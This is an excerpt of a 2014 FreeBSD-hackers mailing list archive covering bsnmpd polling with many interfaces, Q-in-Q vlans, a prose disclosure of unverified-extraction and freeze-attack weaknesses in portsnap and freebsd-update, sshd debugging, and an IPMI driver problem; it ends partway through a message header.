http://support.od.ua +380 67 4584408, +380 99 4060508 VVP88-RIPE From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 11:22:45 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E0D3DC1E; Thu, 10 Apr 2014 11:22:45 +0000 (UTC) Received: from mailhost.dlr.de (mailhost.dlr.de [129.247.252.33]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "mailhost.dlr.de", Issuer "DLR CA - G02" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 728EB1660; Thu, 10 Apr 2014 11:22:45 +0000 (UTC) Received: from DLREXHUB01.intra.dlr.de (172.21.152.130) by dlrexedge02.dlr.de (172.21.163.101) with Microsoft SMTP Server (TLS) id 14.3.174.1; Thu, 10 Apr 2014 13:22:15 +0200 Received: from KNOP-BEAGLE.kn.op.dlr.de (129.247.178.136) by smtp.dlr.de (172.21.152.151) with Microsoft SMTP Server (TLS) id 14.3.174.1; Thu, 10 Apr 2014 13:22:14 +0200 Date: Thu, 10 Apr 2014 13:22:52 +0200 From: Hartmut Brandt X-X-Sender: brandt_h@KNOP-BEAGLE.kn.op.dlr.de To: Vladislav Prodan Subject: Re[2]: Some gruesome moments with performance of FreeBSD at over 20K interfaces In-Reply-To: <1397127901.499782177.24smhe7a@frv35.fwdcdn.com> Message-ID: References: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> <1397127901.499782177.24smhe7a@frv35.fwdcdn.com> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Cc: stable@freebsd.org, hackers@freebsd.org, net@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 11:22:46 -0000 On Thu, 10 Apr 2014, Vladislav Prodan wrote: VP>> On Wed, 9 Apr 2014, Vladislav Prodan wrote: VP>> VP>> VP>b) Service bsnmpd started at 12K interfaces, but immediately loaded CPU VP>> VP>at 80-100% VP>> VP>> I could imagine that this is because of the statistics polling. bsnmp VP>> implements 64-bit interface statistics but we have only 32-bit statistics VP>> in the kernel. So it polls the kernel statistics for each interface on a VP>> rate that ensures that 32-bit don't overflow. If the interfaces are GBit VP>> or, worse, 10GBit interfaces the polling rate is rather high (in the order VP>> of seconds). VP>> VP>> You should either make sure that the interfaces report sensible bitrates VP>> (I doubt that 20k interfaces could all be GBit interfaces) or force a slower VP>> polling interval by setting begemotIfForcePoll.0 to some large value. VP>> VP>> harti VP>> VP> VP>Thanks for the tip. VP> VP>At least 10 interfaces to be 1Gb, and the rest no more than 50M. VP>BegemotIfForcePoll parameter in this case a little help, you will be forced to stand another value for Gigabit Interface begemotIfForcePoll ... Yeah. There is only one parameter. You are running -STABLE, right? On current the statistics are 64-bit (I wonder whether the operation on these values is automatically atomic on all our platforms, though). harti From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 12:38:36 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 05C93DE; Thu, 10 Apr 2014 12:38:36 +0000 (UTC) Received: from mail-pd0-x234.google.com (mail-pd0-x234.google.com [IPv6:2607:f8b0:400e:c02::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id C18A41CBC; Thu, 10 Apr 2014 12:38:35 +0000 (UTC) Received: by mail-pd0-f180.google.com with SMTP id v10so3807851pde.25 for ; Thu, 10 Apr 2014 05:38:35 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=6gpWfHaYsRexDGvuNlPrJmc1sslnJOlW1f0XZEe3y8Q=; b=lMU17bz7NYq3kiWUOmC7WhvFcGdstp7QwMezr1g/x0nc3r2DLDcoii9/C99MNJok4G uIf6UO8zWRZMMhJjBlImem5AMTkr747APFowdlGa4RNmGqt2zvQD7of4W0GRyWqeIyCh xocsFBa6cAJ1oP+hSAHGAotRnwVJJkgMEZEcX2J5dd830TkoMCfgZXvIefodkhRYyDC8 5aQPhz8kD0Onsgc0ioCEezHrXhTJN5q+cLgLrYKqpfPVWqYkOecq68Ii0Sw75q2v34Ti o2MaJI9Qprf013fQCAj0WbmaCogLTmO+xfgPlzR926A1gqSrXRXqTf/zzEIqHzfzsJWA H2vg== MIME-Version: 1.0 X-Received: by 10.68.236.229 with SMTP id ux5mr19320244pbc.98.1397133515355; Thu, 10 Apr 2014 05:38:35 -0700 (PDT) Sender: ermal.luci@gmail.com Received: by 10.70.88.109 with HTTP; Thu, 10 Apr 2014 05:38:35 -0700 (PDT) In-Reply-To: References: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> <1397127901.499782177.24smhe7a@frv35.fwdcdn.com> Date: Thu, 10 Apr 2014 14:38:35 +0200 X-Google-Sender-Auth: yI4THH4Pe0R7_PwLx408BAWe5S4 Message-ID: Subject: Re: Re[2]: Some gruesome moments with performance of FreeBSD at over 20K interfaces From: =?ISO-8859-1?Q?Ermal_Lu=E7i?= To: Hartmut Brandt Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: hackers@freebsd.org, stable@freebsd.org, Vladislav Prodan , "net@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 12:38:36 -0000 Another note related to Q-in-Q. You would probably be better of creating standard vlans for the first vlan layer and use ng_vlan for the second++ part of the Q-in-Q on top of the first ones. This also give better usability and will speedup a bit your times. On Thu, Apr 10, 2014 at 1:22 PM, Hartmut Brandt wrote: > On Thu, 10 Apr 2014, Vladislav Prodan wrote: > > VP>> On Wed, 9 Apr 2014, Vladislav Prodan wrote: > VP>> > VP>> VP>b) Service bsnmpd started at 12K interfaces, but immediately > loaded CPU > VP>> VP>at 80-100% > VP>> > VP>> I could imagine that this is because of the statistics polling. bsnmp > VP>> implements 64-bit interface statistics but we have only 32-bit > statistics > VP>> in the kernel. So it polls the kernel statistics for each interface > on a > VP>> rate that ensures that 32-bit don't overflow. If the interfaces are > GBit > VP>> or, worse, 10GBit interfaces the polling rate is rather high (in the > order > VP>> of seconds). > VP>> > VP>> You should either make sure that the interfaces report sensible > bitrates > VP>> (I doubt that 20k interfaces could all be GBit interfaces) or force a > slower > VP>> polling interval by setting begemotIfForcePoll.0 to some large value. > VP>> > VP>> harti > VP>> > VP> > VP>Thanks for the tip. > VP> > VP>At least 10 interfaces to be 1Gb, and the rest no more than 50M. > VP>BegemotIfForcePoll parameter in this case a little help, you will be > forced to stand another value for Gigabit Interface begemotIfForcePoll ... > > Yeah. There is only one parameter. > > You are running -STABLE, right? On current the statistics are 64-bit > (I wonder whether the operation on these values is automatically atomic on > all our platforms, though). > > harti > _______________________________________________ > freebsd-net@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-net > To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" > -- Ermal From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 12:42:13 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E13B04D7 for ; Thu, 10 Apr 2014 12:42:13 +0000 (UTC) Received: from frv197.fwdcdn.com (frv197.fwdcdn.com [212.42.77.197]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 979F61D83 for ; Thu, 10 Apr 2014 12:42:13 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ukr.net; s=ffe; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-Id:Cc:To:Subject:From:Date; bh=MgtXFb7I6q1mbw2jOo94Diaf3Debe5Aa8QkbofjH1sU=; b=U6lMUU3fiV+Dy9RB88UviRw3wnEYWFfZYBSC+Di8DDHkstAYdG9jEZPwsHqqQNZw32mrAg5WAFVbadCZuDbnE8IT3TmmL67VeGrRazei8NVXRAOmBNtEPGWIX7ukJZZGj2EdaZOtx1S/qgEnACfy7Qa97KA0W7W+wKlkf4VCx+0=; Received: from [10.10.10.35] (helo=frv35.fwdcdn.com) by frv197.fwdcdn.com with smtp ID 1WYEIw-00064t-BT for hackers@freebsd.org; Thu, 10 Apr 2014 15:42:06 +0300 Date: Thu, 10 Apr 2014 15:42:05 +0300 From: Vladislav Prodan Subject: Re[2]: Re[2]: Some gruesome moments with performance of FreeBSD at over 20K interfaces To: Ermal =?iso-8859-1?b?THXnaQ==?= X-Mailer: mail.ukr.net 5.0 Message-Id: <1397133674.156493243.42smhi32@frv35.fwdcdn.com> In-Reply-To: References: <1397077963.756961709.gspkmzvd@frv35.fwdcdn.com> <1397127901.499782177.24smhe7a@frv35.fwdcdn.com> MIME-Version: 1.0 Received: from universite@ukr.net by frv35.fwdcdn.com; Thu, 10 Apr 2014 15:42:05 +0300 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: binary Content-Disposition: inline Cc: stable@freebsd.org, hackers@freebsd.org, "net@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 12:42:13 -0000 > > Another note related to Q-in-Q. > > > You would probably be better of creating standard vlans for the first vlan layer and use ng_vlan for the second++ part of the Q-in-Q on top of the first ones. > This also give better usability and will speedup a bit your times. > > > So I implemented the q-in-q. -- Vladislav V. Prodan System & Network Administrator http://support.od.ua +380 67 4584408, +380 99 4060508 VVP88-RIPE From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 17:03:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0E166185; Thu, 10 Apr 2014 17:03:48 +0000 (UTC) Received: from mail-wg0-x22f.google.com (mail-wg0-x22f.google.com [IPv6:2a00:1450:400c:c00::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DCBFB1A29; Thu, 10 Apr 2014 17:03:46 +0000 (UTC) Received: by mail-wg0-f47.google.com with SMTP id x12so4220339wgg.6 for ; Thu, 10 Apr 2014 10:03:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:date:message-id:subject:from:to:content-type; bh=YHvQoVsLs/AQYbf2I8MQSBdUbg7YgH6+2BSzlqcYBfo=; b=Ld6XAMnmDUfGqGEmI+2Aihd5TxpImR067X9i5ONEe/MLHQttjZRcKzfJeJEKOJX8H5 W021q4nXcbBkCqi9Dspb5Sf8SOuWNXBrdWZGxm8zspAJwIIYIa7qu0qo1+qJmWtSDwor aQp6okj++1LfZyM0cThIxqHhoZNvbduYwsOxsHnZbGiYcp+RfG3zPQrsXH01nu4XsIe5 lFdAB+ElhP90+wdUbltuoB3DuRkrDf6REYyBOSNkrvY3eKmualq3rFwzh1xtjSMl2+bo TWroa89cluvQCxMX3qRYTdaTYwMKzx6QbyKiptXQXxdouN0po4/padftxG5pwuqeqnTe nFNg== MIME-Version: 1.0 X-Received: by 10.194.1.242 with SMTP id 18mr16391562wjp.22.1397149425081; Thu, 10 Apr 2014 10:03:45 -0700 (PDT) Received: by 10.217.55.138 with HTTP; Thu, 10 Apr 2014 10:03:45 -0700 (PDT) Date: Thu, 10 Apr 2014 12:03:45 -0500 Message-ID: Subject: MITM attacks against portsnap and freebsd-update From: David Noel To: freebsd-bugs@freebsd.org, freebsd-hackers , freebsd-security@freebsd.org, FreeBSD Questions Mailing List , secteam , Colin Percival Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: David.I.Noel@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 17:03:48 -0000 I found a few bugs in portsnap and freebsd-update that I'd like to bring to the community's attention and hopefully recruit people to help fix. I mentioned them to Colin (their author) a few years ago and he agreed that they're issues that need to be addressed, but in the time since neither he nor I have been able to get around to fixing them. I'm hoping that someone reading this is able and willing to pitch in. I've also taken this to secteam@, but no one there's made any progress on them in the past 6 months so I figured it was time to approach the broader community. Surely there's a benevolent sh-savvy hacker out there who has time to take these on. They're pretty simple fixes -- the functionality that's needed exists in the scripts already, it just needs to be reused in a few key places. I also think it would be an appropriate time to discuss retiring portsnap. Problem Summary 1. Both portsnap and freebsd-update extract fetched data prior to its SHA256 verification. The extraction libraries used have a long history of bugs so it's reasonable to assume there might be more. Both freebsd-update and portsnap are run as root. Using a vulnerability in the decompression libraries an attacker who was MITM-capable could compromise any FreeBSD system running portsnap or freebsd-update. 2. The portsnap mirroring script (pmirror.sh) lacks of any sort of mechanism to verify the data prior to processing and mirroring it. Without this, mirrors are open to compromise via methods similar to those found in the client-side scripts (decompression library exploitation). It also means an attacker could feed a mirror a corrupt archive, opening users of that mirror to compromise. 3. Both portsnap and freebsd-update are vulnerable to freeze attacks. 4. The addition of subversion in base makes portsnap redundant. Solution Summary 1. A re-working of the snapshot hashing and hash verification process. 2. The addition of hashing and hash verification code to pmirror.sh. 3. The server-side inclusion of date-stamps, and strict client-side enforcement of expiration policies. 4. Retire portsnap. Details The functions of concern in portsnap.sh are fetch_snapshot(), fetch_update(), and fetch_snapshot_verify(). The lines of concern in pmirror.sh are 99-103, 121-125, 138-149, and 153-157 (using revision 257073). The functions of concern in freebsd-update.sh are fetch_metadata(), fetch_files_premerge(), and fetch_files(). Retiring Portsnap With the inclusion of svnlite in 10 I think the valid question comes up as to whether we really need the portsnap system or whether it could be safely retired. Obviously if the conclusion of that discussion is that we don't need it then these bug fixes would be unnecessary. The reason I see for it to be retired is that subversion allows us to easily and securely check out the ports tree. It's a one-line command: `svn co https://...`. Keeping it up-to-date it is another one-liner: `cd /usr/ports; svn update`. With the inclusion of svnlite in base, the portsnap code and servers acting as mirrors become redundant and seem like a waste of resources. PR's I've avoided filing PR's to give myself, Colin, or secteam@ the chance to fix these bugs first. Since none of us have had the time free to do so and because I'm now sharing these bugs publicly with the list I figure it would be an appropriate time to file PR's for them. MITM attacks against freebsd-update: http://www.freebsd.org/cgi/query-pr.cgi?pr=188429 MITM attacks against portsnap: http://www.freebsd.org/cgi/query-pr.cgi?pr=188428 Freeze attacks against freebsd-update: http://www.freebsd.org/cgi/query-pr.cgi?pr=188434 Freeze attacks against portsnap: http://www.freebsd.org/cgi/query-pr.cgi?pr=188430 MITM attacks against portsnap mirrors (pmirror.sh): http://www.freebsd.org/cgi/query-pr.cgi?pr=188432 Retiring portsnap: http://www.freebsd.org/cgi/query-pr.cgi?pr=188433 David Noel From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 18:49:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C4217734; Thu, 10 Apr 2014 18:49:02 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 654E8160B; Thu, 10 Apr 2014 18:49:02 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3AImu7K073648; Thu, 10 Apr 2014 21:48:56 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3AImu7K073648 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3AImttr073647; Thu, 10 Apr 2014 21:48:55 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Thu, 10 Apr 2014 21:48:55 +0300 From: Konstantin Belousov To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <20140410184855.GP21331@kib.kiev.ua> References: <20140408164353.GB21331@kib.kiev.ua> <277FA3F7B4E7A98921F4D631@study64.tdx.co.uk> <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> <20140408212319.GC21331@kib.kiev.ua> <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="YQQMu+1WUtOZ6W1X" Content-Disposition: inline In-Reply-To: <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 18:49:02 -0000 --YQQMu+1WUtOZ6W1X Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 09, 2014 at 03:30:44PM +0100, Karl Pielorz wrote: >=20 >=20 > --On 09 April 2014 14:19 +0300 Konstantin Belousov = =20 > wrote: >=20 > > It is still mostly nonsensical, due to bad and missing debugging > > information. > > > > First, my patch seems to be buggy, I miscalculated the offsets of the > > saved registers. Hopefully, improved version is at the end of the > > message. Also, I suspect that there is a mismatch between installed and > > built rtld. Please do the clean build with DEBUG_FLAGS=3D-g and patch > > applied and install (again with DEBUG_FLAGS=3D-g). > > > > Second, the debugging information in your libthr.so.3 is partial. > > Could you, please rebuild it and install with DEBUG_FLAGS=3D-g from > > the clean state ? > > > > Also, please rebuild you pam installation with '-g'. > > > > After this is done, reproduce the issue and take the backtrace once mor= e. > > Sorry, but the current backtrace is not useful. >=20 > Ok, I tried all the above - I now get a minimal backtrace :( I just rechecked with in-tree gdb and stock build of gdb 7.6, I can see frames after _rtld_bind_start() properly. >=20 > I have an identical 'clone' of this system (with the same issue) - is the= re=20 > something I can put in '/etc/make.conf' and rebuild the world [with your= =20 > patch] with debug stuff enabled everywhere, on that clone? You should put DEBUG_FLAGS=3D-g either in make.conf or src.conf, I am not sure which one is correct. >=20 > It may be easier to rebuild with debug on everything, install it all, and= =20 > reproduce the issue (knowing debug is on everywhere). I can do that leavi= ng=20 > the other copy of this machine 'as-is'. >=20 > Also, if we're doing that is it worth turning off optimisation's? (If so,= =20 > how?) No. --YQQMu+1WUtOZ6W1X Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTRueXAAoJEJDCuSvBvK1BFNoP/Rrly4uYOzOmu/WuR23pMwId pWthwPinASv6HiMOtoTroRDfWwaPF0YJIBAkF6ensd3d6pZGd5FUzEHAnLHjciav KG+CPazZ7q8xuh4yWxbdXqnzC421n4BtxhvzAkStt1whdYWWXroOrK1lXNqnLU2D bDcceHW9Lyf6b4LYmiBKUMrEQVy1xuVYXPzKOTNdQeS7MfMSkuD+Z/jmiB6MJ7R1 f9JpOQk1yEKlZpI49ozn+Uw9nzZbzqOpoBQab1rJ306JtgJiRBfwaTNwzNoCMj3B Y6MOTzEBnNz8Xxww+giwhw9S6Tr74DbZ2BB+evHop6nGQ/2i9amL+fAEbOshdaPV D04UnodiQ4aH1CwPWmL8HbLDJfxfSkY5Xby+SJjMKIzuLl5sMJ0iGCwsPf9dewtT MnBYqshmWEfUWOD4kkpWMR1RyC+PhUnFzH8NK7wD69QZ04HeGMrJP2W0qzCaQZwL nszqI4jAfdF/EBjVjLmmOlkWM3LdMM+lKkg7KaK1k9vLTMeeGc4wlHjKnI0Y5BO1 fPk65oMzLLuhtxZ11LXet7xDzFBEAExw6hQItEcU4EqJE2NgIoM0+hcPUi1Pq4Mc K0sE2qJTm9lbOGvLAlysiUndwNl6WG/UwdYeD0J21bzKndmeZQzKoqV0fsSDsP11 YOg16KRPqwpPfM65vSBa =94ct -----END PGP SIGNATURE----- --YQQMu+1WUtOZ6W1X-- From owner-freebsd-hackers@FreeBSD.ORG Thu Apr 10 19:07:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A0BA1E94 for ; Thu, 10 Apr 2014 19:07:29 +0000 (UTC) Received: from mail.ignoranthack.me (ujvl.x.rootbsd.net [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 67EC817FE for ; Thu, 10 Apr 2014 19:07:28 +0000 (UTC) Received: from [10.73.160.242] (nat-dip7.cfw-a-gci.corp.yahoo.com [209.131.62.116]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id AF73F1929AA; Thu, 10 Apr 2014 19:07:27 +0000 (UTC) Subject: Re: IPMI is broken on Intel S1200RP Board From: Sean Bruno To: venom In-Reply-To: References: Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-yrVnEd/Ryq/XSqGeoxZR" Date: Thu, 10 Apr 2014 12:07:27 -0700 Message-ID: <1397156847.1088.11.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: sbruno@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Apr 2014 19:07:29 -0000 --=-yrVnEd/Ryq/XSqGeoxZR Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Wed, 2014-04-09 at 12:56 +0400, venom wrote: > Hello >=20 > I have a problem on Intel S1200RP Board >=20 > # uname -a > FreeBSD anonymous.orb 10.0-RELEASE FreeBSD 10.0-RELEASE #0 r260789: Thu J= an > 16 22:34:59 UTC 2014 root@snap.freebsd.org:/usr/obj/usr/src/sys/GENER= IC > amd64 > # dmidecode -t 38 > # dmidecode 2.12 > SMBIOS 2.7 present. >=20 > Handle 0x0090, DMI type 38, 16 bytes > IPMI Device Information > Interface Type: KCS (Keyboard Control Style) > Specification Version: 2.0 > I2C Slave Address: 0x10 > NV Storage Device: Not Present > Base Address: 0x0000000000000CA2 (I/O) > # kldload ipmi > # ipmitool sel list > Could not open device at /dev/ipmi0 or /dev/ipmi/0 or /dev/ipmidev/0: No > such file or directory > Get SEL Info command failed > # grep ipmi /boot/device.hints | wc -l > 0 >=20 >=20 >=20 >=20 > But IPMI work on Linux host > part of dmesg output > -------------------------------------------------------------------------= ------------- > [ 1374.180289] ipmi message handler version 39.2 > [ 1374.181442] IPMI Watchdog: driver initialized > [ 1380.685919] Copyright (C) 2004 MontaVista Software - IPMI Powerdown vi= a > sys_reboot. > [ 1384.000797] IPMI System Interface driver. > [ 1384.000941] ipmi_si: probing via SMBIOS > [ 1384.001027] ipmi_si: SMBIOS: io 0xca2 regsize 1 spacing 1 irq 0 > [ 1384.001143] ipmi_si: Adding SMBIOS-specified kcs state machine > [ 1384.001311] ipmi_si: probing via SPMI > [ 1384.001400] ipmi_si: SPMI: io 0xca2 regsize 1 spacing 1 irq 0 > [ 1384.001493] ipmi_si: Adding SPMI-specified kcs state machine duplicate > interface > [ 1384.001661] ipmi_si: Trying SMBIOS-specified kcs state machine at i/o > address 0xca2, slave address 0x20, irq 0 > [ 1384.141050] ipmi_si ipmi_si.0: Found new BMC (man_id: 0x000157, prod_i= d: > 0x0065, dev_id: 0x21) > [ 1384.142999] IPMI poweroff: ATCA Detect mfg 0x157 prod 0x65 > [ 1384.143097] IPMI poweroff: Found a chassis style poweroff function > [ 1384.146161] ipmi_si ipmi_si.0: IPMI kcs interface initialized > [ 1401.695688] ipmi device interface > -------------------------------------------------------------------------= ------------- >=20 > # uname -rm > 3.2.0-4-amd64 x86_64 > # ipmitool sel > SEL Information > Version : 1.5 (v1.5, v2 compliant) > Entries : 312 > Free Space : 59886 bytes > Percent Used : 7% > Last Add Time : 04/09/2014 06:26:42 > Last Del Time : Not Available > Overflow : false > Supported Cmds : 'Partial Add' 'Reserve' 'Get Alloc Info' > # of Alloc Units : 3639 > Alloc Unit Size : 18 > # Free Units : 3327 > Largest Free Blk : 3327 > Max Record Size : 12 >=20 >=20 >=20 > What strings need add to the file /boot/device.hints for enable access to > IPMI ? >=20 > -- =46rom your error report, I expect that the ipmi driver failed to attach at startup. Can you do a verbose boot and post the dmesg for me to review please? sean --=-yrVnEd/Ryq/XSqGeoxZR Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAABAgAGBQJTRuvuAAoJEBkJRdwI6BaH+ncH/ikJd1Rfv0bZ1VvMqTNZ83+K RSRyUXnNI3I88RdozIgb//NKF/PDEogE/TEQ7RASZqDEd5GcNEakXJNPv5k4Oh3R ikYlH9hd6urOokbujDi19H3/fSnsVd1bxlddUNGqn39mm34KEh+DQzAKvSXKPHoK mIxEmkvMV/NFVXVuc8ussxadWGdVkcu37H/Q90zWuK9VQjO8rYISYd3T6Ac0Tews y77rNJbUGHFKY/AABlA2dVUnxqknl/LF7FHQhvdetEdIjMuKDtsH3EC97gyyO4qz ntlxGXhKRa4JEyPn6aFCev54+xg+gKtEP1Y7M1OYpEKyt3NV2YDk5yr0QXXVC4s= =kZDp -----END PGP SIGNATURE----- --=-yrVnEd/Ryq/XSqGeoxZR-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 03:43:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DBA9F614; Fri, 11 Apr 2014 03:43:13 +0000 (UTC) Received: from mail-qa0-x22d.google.com (mail-qa0-x22d.google.com [IPv6:2607:f8b0:400d:c00::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 83F201AA8; Fri, 11 Apr 2014 03:43:13 +0000 (UTC) Received: by mail-qa0-f45.google.com with SMTP id cm18so3866010qab.4 for ; Thu, 10 Apr 2014 20:43:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=5jXtNOtojw6/Y9bKeH3I5CCL6wMdOqrgiBHb0q9odrI=; b=e/yoecr9Fc7vuEvjnUHsXEzTv1zwKHU9hpUh20Ky4myfrrGy2Ne1T5ozsmyMyVBpPQ 7wZJC6juVXMKcbK/8UwK2M82vSAW/SpjHn7b4GfljCYaDU7hhbFB7IkrO0zmgzCLVBhK 8zSGrSTfhv1Z7wO+Q/eZAeK5DMogKWT0/IWW2CKctN6iXzMaxRnL7J6OkP9TjdelHQrg 